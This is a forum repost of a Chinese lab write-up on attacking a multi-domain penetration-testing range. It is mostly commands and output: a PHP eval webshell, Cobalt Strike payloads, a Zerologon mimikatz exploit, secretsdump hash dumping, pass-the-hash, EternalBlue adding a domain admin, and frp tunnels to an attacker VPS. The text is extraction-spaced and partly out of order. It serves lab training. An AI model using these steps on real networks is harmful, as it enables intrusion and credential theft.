搜索

[17126] 2021-08-08_综合环境靶场攻击过程记录（内网域森林+服务森林）

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-08-08_综合环境靶场攻击过程记录（内网域森林+服务森林） 综 合 环 境 靶 场 攻 击 过 程 记 录 （ 内 网 域 森 林 + 服 务 森 林 ） 原 创   c h 4 n g e   F r e e B u f   2 0 2 1 - 0 8 - 0 8 前 言 前 言 感 谢 大 余 师 父 辛 苦 搭 建 的 大 型 综 合 内 网 渗 透 环 境 。 环 境 包 含 内 网 域 森 林 、 服 务 框 架 、 数 据 库 、 中 间 件 知 识 ， F R P 一 级 、 二 级 、 三 级 代 理 知 识 。 通 过 前 期 对 服 务 渗 透 和 内 网 渗 透 知 识 的 学 习 再 通 过 该 靶 场 的 练 习 ， 算 是 将 整 个 学 过 的 大 部 分 内 容 串 联 在 了 一 起 ， 明 白 了 渗 透 测 试 的 流 程 。 虽 然 靶 场 没 有 涵 盖 所 有 学 到 的 漏 洞 类 型 ， 但 是 也 很 贴 近 实 际 攻 防 操 作 ， 靶 场 打 几 遍 下 来 很 有 收 获 。 前 言 前 言 1 、 攻 击 方 法 ： 1 、 p r o x i f i e r 设 置 s o c k s 5 ： 1 0 x . x x x . x x x . x x x : 6 0 3 0 0 1 0 x . x x x . x x x . x x x : 6 0 2 5 5 1 0 x . x x x . x x x . x x x : 6 0 2 5 4 2 、 p r o x i f i e r 连 接 成 功 后 ， 设 置 本 地 攻 击 电 脑 h o s t s 最 后 添 加 ： 1 9 2 . 1 6 8 . x . x   w w w . d a y u g s . c o m 3 、 添 加 h o s t s 成 功 后 打 开 本 地 i e 、 g o o g l e 等 浏 览 器 访 问 ： w w w . d a y u g s . c o m 进 行 攻 击 ！ 域 森 林 添 加 数 据 库 + 中 间 件 + 框 架 漏 洞 服 务 森 林 添 加 数 据 库 + 中 间 件 + 框 架 漏 洞 具 体 内 网 详 情 自 行 信 息 收 集
1   y x c m s 源 码 部 署 源 码 部 署 → 攻 击 攻 击 W E B 服 务 器 服 务 器 1 ） 获 取 ） 获 取 w e b s h e l l （ （ 1 ） 设 置 代 理 ） 设 置 代 理 P r o x i f f e r 设 置 代 理 & h o s t s 文 件 设 置 域 名 绑 定 访 问 靶 场   h t t p : / / w w w . d a y u g s . c o m / （ 2 ） 管 理 员 登 录 页 面 ， 密 码 爆 破 h t t p : / / w w w . d a y u g s . c o m / i n d e x . p h p ? r = a d m i n 验 证 码 不 存 在 验 证 机 制 直 接 爆 破 ， 得 到 密 码 1 2 3 4 5 6
（ 3 ） 漏 洞 利 用 版 本 ： Y x c m s A p p   1 . 2 . 1 左 边 选 择 前 台 模 板 - > 管 理 模 板 文 件 ， 在 i n d e x _ i n d e x . p h p 进 行 编 辑 ， 写 入 一 句 话 木 马 < ? p h p   @ e v a l ( $ _ P O S T [ ' y y d s ' ] ) ; ? >
（ 4 ） 蚁 剑 连 接 s h e l l h t t p : / / w w w . d a y u g s . c o m / i n d e x . p h p 密 码 y y d s （ 5 ） 上 线 C S ` s y s t e m i n f o ` 查 看 系 统 信 息 ， 6 4 位 ， w i n d o w s 7 专 业 版 C S 生 成 W i n d o w s   6 4 位 木 马 ， 由 于 w e b 服 务 器 出 网 ， 直 接 监 听 / p s 端 口 就 行 将 木 马 通 过 蚁 剑 上 传 到 w e b 服 务 器
使 用 虚 拟 终 端 运 行 木 马 文 件 ， 上 线 C S （ 6 ） 提 权 ： M S 1 4 - 0 5 8 选 择 监 听 提 权 成 功 2 ） ） W E B 服 务 器 信 息 收 集 服 务 器 信 息 收 集 （ （ 1 ） ） i f c o n f i g   / a l l （ （ 2 ） ） n b t s c a n 扫 描 扫 描 1 0 . 1 0 . 1 0 . 1 / 2 4 双 网 卡 ： w e b ： 1 9 2 . 1 6 8 . 7 3 . 1 3 7 域 ： 1 0 . 1 0 . 1 0 . 1 0 1 域 控 ： 1 0 . 1 0 . 1 0 . 1 0 z i y u . d a y u . c o m d a y u . c o m
（ （ 3 ） ） C s c a n 扫 描 扫 描 1 0 . 1 0 . 1 0 . 1 / 2 4 2   C V E - 2 0 2 0 - 1 4 7 2 → 攻 击 子 域 控 制 器 攻 击 子 域 控 制 器 域 名 ： 域 名 ： z i y u . d a y u . c o m i p ： ： 1 0 . 1 0 . 1 0 . 1 0 1 ） ） C V E - 2 0 2 0 - 1 4 7 2 置 零 攻 击 置 零 攻 击 （ （ 1 ） 上 传 ） 上 传 m i m i k a t z ， ， C S 上 检 测 是 否 存 在 上 检 测 是 否 存 在 C V E - 2 0 2 0 - 1 4 7 2 漏 洞 漏 洞 显 示 A u t h e n t i c a t i o n :   O K   —   v u l n e r a b l e 表 示 存 在 （ 2 ） 利 用 C V E - 2 0 2 0 - 1 4 7 2 修 改 域 控 密 码 为 空 C S 上 利 用 m i m i k a t z 进 行 域 控 密 码 置 空 攻 击 回 显 表 示 已 置 零 h a s h 2 ） 设 置 一 级 代 理 ） 设 置 一 级 代 理 1 0 . 1 0 . 1 0 . 5             D A Y U W I N - A M J 9 T 9 T L 1 2 3                         S H A R I N G   D C 1 0 . 1 0 . 1 0 . 6             D A Y U F U Y U                                               S H A R I N G   D C 1 0 . 1 0 . 1 0 . 1 0           Z I Y U 0 Z I Y U                                             S H A R I N G 1 0 . 1 0 . 1 0 . 6 6           A Q W I N - D 5 N C B K R 1 1 G 2                             S H A R I N G   D C 1 0 . 1 0 . 1 0 . 1 0 1         Z I Y U 0 W E B                                               S H A R I N G s h e l l   C s c a n . e x e   1 0 . 1 0 . 1 0 . 1 / 2 4   M S 1 7 0 1 0 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 1 0 . 1 0 . 1 0 . 6   M S 1 7 - 0 1 0   F U Y U   d a y u . c o m   [ W i n   2 0 1 6   S t a n d a r d   1 4 3 9 3 ] 1 0 . 1 0 . 1 0 . 5   M S 1 7 - 0 1 0   W I N - A M J 9 T 9 T L 1 2 3   d a y u . c o m   [ W i n   2 0 1 6   S t a n d a r d   1 4 3 9 3 ] 1 0 . 1 0 . 1 0 . 1 0   M S 1 7 - 0 1 0   Z I Y U   z i y u . d a y u . c o m   [ W i n   2 0 1 6   S t a n d a r d   1 4 3 9 3 ] 1 0 . 1 0 . 1 0 . 6 6   M S 1 7 - 0 1 0   W I N - D 5 N C B K R 1 1 G 2   a q . d a y u . c o m   [ W i n   2 0 1 6   S t a n d a r d   1 4 3 9 3 ] 1 0 . 1 0 . 1 0 . 9 0   M S 1 7 - 0 1 0   H E X I N   d a y u . c o m   [ W i n   7   P r o f e s s i o n a l   7 6 0 1   S P   1 ] 1 0 . 1 0 . 1 0 . 1 0 1   M S 1 7 - 0 1 0   W E B   z i y u . d a y u . c o m   [ W i n   7   P r o f e s s i o n a l   7 6 0 1   S P   1 ] [ + ]   r e c e i v e d   o u t p u t : 1 0 . 1 0 . 1 0 . 1   p h i c o m m . m e = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = s h e l l   m i m i k a t z   " l s a d u m p : : z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 1 0   / a c c o u n t : Z I Y U $ "   " e x i t " s h e l l   m i m i k a t z   " l s a d u m p : : z e r o l o g o n   / t a r g e t : 1 0 . 1 0 . 1 0 . 1 0   / a c c o u n t : Z I Y U $   / e x p l o i t "   " e x i t " *   A u t h e n t i c a t i o n :   O K   - -   v u l n e r a b l e *   S e t   p a s s w o r d     :   O K   - -   m a y   b e   u n s t a b l e
在 k a l i 运 行 命 令 一 级 代 理 ： V P / S 靶 机 测 试 一 下 ， 建 立 成 功 3 ） 获 取 管 理 员 ） 获 取 管 理 员 h a s h 靶 机 ：         #   f r p c . i n i         [ c o m m o n ]         s e r v e r _ a d d r   =   1 . x x x . x x x . x x 4         s e r v e r _ p o r t   =   1 1 6 0 8         [ h t t p _ p r o x y ]         t y p e   =   t c p         r e m o t e _ p o r t   =   1 1 6 6 8         p l u g i n   =   s o c k s 5 / P S ：         [ c o m m o n ]         b i n d _ a d d r   =   0 . 0 . 0 . 0         b i n d _ p o r t   =   1 1 6 0 8 先 在 / P S 建 立 服 务 端         f r p s . e x e   - c   f r p s . i n i 然 后 在 靶 机 开 启 客 户 端         f r p c . e x e   - c   f r p c . i n i p r o x y c h a i n s 设 置 ： 1 . x x x . x x x . x x 4   1 1 6 6 8 f r p s . e x e   - c   f r p s . i n i s h e l l   f r p c . e x e   - c     1 p r o x y f r p c . i n i p r o x y c h a i n s   i m p a c k e t - s e c r e t s d u m p   - n o - p a s s   - j u s t - d c   z i y u . d a y u . c o m / Z I Y U $ @ 1 0 . 1 0 . 1 0 . 1 0         A d m i n i s t r a t o r : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : a 8 a d 7 9 b 7 b 2 c 6 5 9 8 6 5 8 c a 0 9 3 2 c b f 0 1 e 4 0 : : :        
4 ） 上 线 ） 上 线 C S （ （ 1 ） ） C S 建 立 中 转 监 听 建 立 中 转 监 听 生 成 木 马 c h 4 n g e 2 . e x e （ （ 2 ） 横 向 攻 击 ） 横 向 攻 击 & 上 线 上 线 C S 利 用 w m i e x e c . p y 进 行 横 向 攻 击 ， w m i e x e c . p y 是 k a l i 自 带 我 这 里 使 用 w i n d o w s 系 统 运 行 脚 本 ， 因 为 有 时 候 k a l i 使 用 脚 本 获 得 过 一 个 连 接 后 ， 不 能 再 使 用 k a l i 系 统 运 行 脚 本 获 得 脚 本 ； 反 正 就 是 有 可 能 会 报 错 ， w i n d o w s 不 会 上 传 c h 4 n g e 2 . e x e 并 运 行 如 果 没 上 线 ， 可 能 是 w e b 1 0 . 1 0 . 1 0 . 1 0 1 的 防 火 墙 开 着 ， 使 用 C S 的 梼 杌 插 件 关 掉 防 火 墙 3 ） 上 线 C S 方 法 2 - 永 恒 之 蓝 k a l i 进 入 m s f c o n s o l e 后 面 思 路 也 是 创 建 用 户 ， 在 w e b 中 连 接 I P C ， 上 传 木 马 ， 使 用 永 恒 之 蓝 执 行 木 马 永 恒 之 蓝 创 建 d o m a i n 管 理 用 户 在 C S 的 普 通 域 用 户 与 域 控 建 立 I P C w m i e x e c . e x e   - h a s h e s   : a 8 a d 7 9 b 7 b 2 c 6 5 9 8 6 5 8 c a 0 9 3 2 c b f 0 1 e 4 0   . / A d m i n i s t r a t o r @ 1 0 . 1 0 . 1 0 . 1 0 p u t   c h 4 n g e 2 . e x e c h 4 n g e 2 . e x e s e t g   P r o x i e s   s o c k s 5 : 1 . x x x . x x x . x x 4 : 1 1 6 6 8 s e t g   R e v e r s e A l l o w P r o x y   t r u e s e t   c o m m a n d   w h o a m i s e t   r h o s t s   1 0 . 1 0 . 1 0 . 1 0 r u n n e t   u s e r   c h 4 n g e 1   Q W E a s d 1 2 3   / a d d   / d o m a i n n e t   g r o u p   " d o m a i n   a d m i n s "   c h 4 n g e 1   / a d d   / d o m a i n
C S 创 建 基 于 普 通 用 户 1 0 . 1 0 . 1 0 . 1 0 1 的 中 转 监 听 ， 生 成 新 木 马 c h 4 n g e 2 . e x e 永 恒 之 蓝 执 行 木 马 5 ） 恢 复 ） 恢 复 h a s h 在 C S 的 域 控 中 执 行 操 作 ： （ 1 ） 将 s y s t e m . s a v e 、 s a m . s a v e 、 s e c u r i t y . s a v e 三 个 文 件 拷 贝 到 本 地 先 将 三 个 文 件 保 存 下 来 从 C S 文 件 管 理 中 下 载 到 本 地 （ 稳 定 ）   o r   k a l i 使 用 w m i c 获 取 s h e l l 操 作 （ 可 能 会 掉 线 ） （ （ 2 ） ） s e c r e t s d u m p 获 取 原 获 取 原 h a s h （ （ 3 ） 恢 复 密 码 ） 恢 复 密 码 6 ） 子 域 控 信 息 收 集 ） 子 域 控 信 息 收 集 （ （ 1 ） ） i p c o n f i g   / a l l （ （ 2 ） ） s y s t e m i n f o （ （ 3 ） ） n b t s c a n 扫 描 扫 描 1 0 . 1 2 . 1 0 . 1 / 2 4 ( 独 立 域 独 立 域 ) （ 4 ） C s c a n 扫 描 1 0 . 1 2 . 1 0 . 1 / 2 4 （ （ 5 ） ） f s c a n 扫 描 扫 描 1 0 . 1 2 . 1 0 . 3 端 口 端 口 s h e l l   n e t   u s e   1 0 . 1 0 . 1 0 . 1 0 i p c $   " Q W E a s d 1 2 3 "   / u s e r : c h 4 n g e 1 s h e l l   n e t   u s e s h e l l   d i r   1 0 . 1 0 . 1 0 . 1 0 c $ 使 用 I P C 上 传 文 件         s h e l l   c d   . . / . . / d a y u S e t t i n g /   &   c o p y   c h 4 n g e 2 . e x e   1 0 . 1 0 . 1 0 . 1 0 c $ s h e l l   r e g   s a v e   H K L M S Y S T E M   s y s t e m . s a v e s h e l l   r e g   s a v e   H K L M S A M   s a m . s a v e s h e l l   r e g   s a v e   H K L M S E C U R I T Y   s e c u r i t y . s a v e 下 载         g e t   s y s t e m . s a v e         g e t   s a m . s a v e         g e t   s e c u r i t y . s a v e 删 除 域 控 中 的 文 件         s h e l l   d e l   / f   s y s t e m . s a v e         s h e l l   d e l   / f   s a m . s a v e         s h e l l   d e l   / f   s e c u r i t y . s a v e 使 用 i m p a c k e t 中 的 s e c r e t s d u m p ， 从 上 面 得 到 的 几 个 文 件 中 还 原 账 户 哈 希 值 。 i m p a c k e t - s e c r e t s d u m p   - s a m   s a m . s a v e   - s y s t e m   s y s t e m . s a v e   - s e c u r i t y   s e c u r i t y . s a v e   L O C A L 得 到 $ M A C H I N E . A C C :   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 6 d a d 4 7 c 8 a 1 3 0 f c 9 3 b 0 b f 4 1 8 1 d 7 2 6 9 a f c p r o x y c h a i n s   p y t h o n 3   r e i n s t a l l _ o r i g i n a l _ p w . p y   Z I Y U   1 0 . 1 0 . 1 0 . 1 0   6 d a d 4 7 c 8 a 1 3 0 f c 9 3 b 0 b f 4 1 8 1 d 7 2 6 9 a f c 显 示         S u c c e s s !   D C   m a c h i n e   a c c o u n t   s h o u l d   b e   r e s t o r e d   t o   i t ' s   o r i g i n a l   v a l u e .   Y o u   m i g h t   w a n t   t o   s e c r e t s d u m p   a g a i n   t o   c h e c k . 双 网 卡 ：         m e ： 1 0 . 1 0 . 1 0 . 1 0         域 控 ： 1 0 . 1 0 . 1 0 . 5                         d a y u . c o m         m e ： 1 0 . 1 2 . 1 0 . 5 系 统 版 本         W i n d o w s   S e r v e r   2 0 1 6 补 丁 ：         [ 0 1 ] :   K B 3 1 9 9 9 8 6         [ 0 2 ] :   K B 3 2 0 0 9 7 0 1 0 . 1 2 . 1 0 . 3             D U L I W I N - L O H 5 R S 7 U N D P                         S H A R I N G   D C C s c a n . e x e   1 0 . 1 2 . 1 0 . 1 / 2 4   M S 1 7 0 1 0 s h e l l   f s c a n . e x e   - h   1 0 . 1 2 . 1 0 . 3   - p   2 1 , 2 2 , 8 0 , 8 1 , 1 3 5 , 4 4 3 , 4 4 5 , 1 4 3 3 , 1 5 2 1 , 3 3 0 6 , 5 4 3 2 , 6 3 7 9 , 7 0 0 1 , 8 0 0 0 , 8 0 8 0 , 8 0 8 9 , 1 1 2 1 1 , 2 7 0 1 7         1 0 . 1 2 . 1 0 . 3 : 1 3 5   o p e n         1 0 . 1 2 . 1 0 . 3 : 1 4 3 3   o p e n         1 0 . 1 2 . 1 0 . 3 : 4 4 5   o p e n         1 0 . 1 2 . 1 0 . 3     M S 1 7 - 0 1 0         ( W i n d o w s   S e r v e r   2 0 0 8   H P C   E d i t i o n   7 6 0 1   S e r v i c e   P a c k   1 )         m s s q l : 1 0 . 1 2 . 1 0 . 3 : 1 4 3 3 : s a   a d m i n @ 1 2 3         s c a n   e n d
没 有 结 果 显 示 （ （ 6 ） 在 域 控 ） 在 域 控 a d m i n i s t r a t o r 的 桌 面 发 现 密 码 的 桌 面 发 现 密 码 Q W E a s d 1 2 3 3   f r p 二 级 代 理 二 级 代 理 → 建 立 子 域 控 到 建 立 子 域 控 到 V / P S （ （ 1 ） 配 置 文 件 ） 配 置 文 件 / P S ： 子 域 普 通 w e b ： 子 域 控 （ （ 2 ） 执 行 顺 序 ） 执 行 顺 序 1 . 执 行 w e b 的 f r p 服 务 器 f r p s . e x e   - c   f r p s . i n i 2 . 执 行 子 域 控 制 器 的 客 户 端 执 行 子 域 控 制 器 的 客 户 端 f r p c . e x e   - c   f r p c . i n i w e b 显 示 如 下 3 . 执 行 执 行 / p s 的 的 f r p 服 务 端 服 务 端 f r p s . e x e   - c   f r p s . i n i 4 . 执 行 执 行 w e b 的 客 户 端 的 客 户 端 f r p c . e x e   - c   f r p c . i n i 5 . p r o x y c h a i n s 设 置 设 置 连 接 测 试         s c a n   e n d #   f r p s . i n i [ c o m m o n ] b i n d _ a d d r   =   0 . 0 . 0 . 0 b i n d _ p o r t   =   1 3 6 3 1 #   f r p s . i n i [ c o m m o n ] b i n d _ a d d r   =   1 0 . 1 0 . 1 0 . 1 0 1 b i n d _ p o r t   =   1 3 6 3 1 #   f r p c . i n i [ c o m m o n ] s e r v e r _ a d d r   =   1 . x x x . x x x . x x 4 s e r v e r _ p o r t   =   1 3 6 3 1 [ h t t p _ p r o x y ] t y p e   =   t c p l o c a l _ i p   =   1 0 . 1 0 . 1 0 . 1 0 1 l o c a l _ p o r t   =   1 3 6 3 3 r e m o t e _ p o r t   =   1 3 6 3 3 #   f r p c . i n i [ c o m m o n ] s e r v e r _ a d d r   =   1 0 . 1 0 . 1 0 . 1 0 1 s e r v e r _ p o r t   =   1 3 6 3 1 [ h t t p _ p r o x y ] t y p e   =   t c p r e m o t e _ p o r t   =   1 3 6 3 3 p l u g i n   =   s o c k s 5 1 . x x x . x x x . x x 4   1 3 6 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理